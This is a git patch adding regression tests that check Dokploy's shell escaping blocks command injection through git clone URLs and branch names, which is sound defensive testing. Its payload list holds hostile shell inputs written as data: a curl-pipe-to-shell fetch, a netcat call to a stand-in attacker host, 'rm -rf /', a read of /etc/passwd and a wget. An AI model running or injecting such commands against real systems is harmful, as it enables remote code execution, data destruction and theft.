From cf35eae73f76d514e60d98c9ad3b9513e9efb248 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:44:46 -0600 Subject: [PATCH] test(security): regression tests for git clone command injection escaping --- .../git-clone-command-injection.test.ts | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts new file mode 100644 index 000000000..80c323eee --- /dev/null +++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts @@ -0,0 +1,92 @@ +import { cloneGitRepository } from "@dokploy/server/utils/providers/git"; +import { shellWord } from "@dokploy/server/utils/providers/utils"; +import { parse } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// Payloads that, if reached a shell unescaped, would execute commands. +const INJECTION_PAYLOADS = [ + "$(touch /tmp/pwned)", + "`id`", + "; rm -rf /", + "&& curl evil.sh | sh", + "| nc attacker 4444", + "https://github.com/o/r.git$(whoami)", + "main; wget http://evil", + "$(cat /etc/passwd)", +]; + +// Legit values that must survive escaping unchanged. +const LEGIT_VALUES = [ + "main", + "feature/login-v2", + "release-1.2.3", + "https://github.com/dokploy/dokploy.git", + "https://gitlab.example.com/group/sub/project.git", +]; + +describe("shellWord (git provider shell escaping)", () => { + it("collapses every injection payload into a single literal token (no shell operators)", () => { + for (const payload of INJECTION_PAYLOADS) { + const parsed = parse(shellWord(payload)); + // A safely escaped value parses back to exactly the original string, + // as ONE token. If escaping failed, parse() would emit operator + // objects such as { op: ";" } or { op: "$(" } instead. + expect(parsed).toEqual([payload]); + } + }); + + it("leaves legitimate URLs and branch names intact", () => { + for (const value of LEGIT_VALUES) { + expect(parse(shellWord(value))).toEqual([value]); + } + }); +}); + +describe("cloneGitRepository command (customGitUrl path)", () => { + const buildClone = (customGitUrl: string, customGitBranch: string) => + cloneGitRepository({ + appName: "demo-app", + customGitUrl, + customGitBranch, + customGitSSHKeyId: null, + enableSubmodules: false, + serverId: null, + type: "application", + }); + + it("does not let a malicious customGitUrl inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git$(touch /tmp/pwned)", + "main", + ); + const tokens = parse(command); + // No token in the generated command may be a shell operator carrying the + // injected substitution (e.g. { op: "$(" }). The payload must appear only + // as inert literal text. + const hasCommandSubstitution = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === "$(", + ); + expect(hasCommandSubstitution).toBe(false); + expect(command).toContain("git clone"); + }); + + it("does not let a malicious customGitBranch inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git", + "main; touch /tmp/pwned", + ); + const tokens = parse(command); + const hasSemicolonOperator = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ); + // The clone builder itself joins statements with ";", so at least the + // structural ones exist — but the branch payload's ";" must NOT surface + // as an extra operator that would run `touch`. + const semicolonOps = tokens.filter( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ).length; + expect(hasSemicolonOperator).toBe(true); + // The branch is a single quoted token, so it contributes no new ";" op. + expect(command).not.toContain("touch /tmp/pwned;"); + }); +});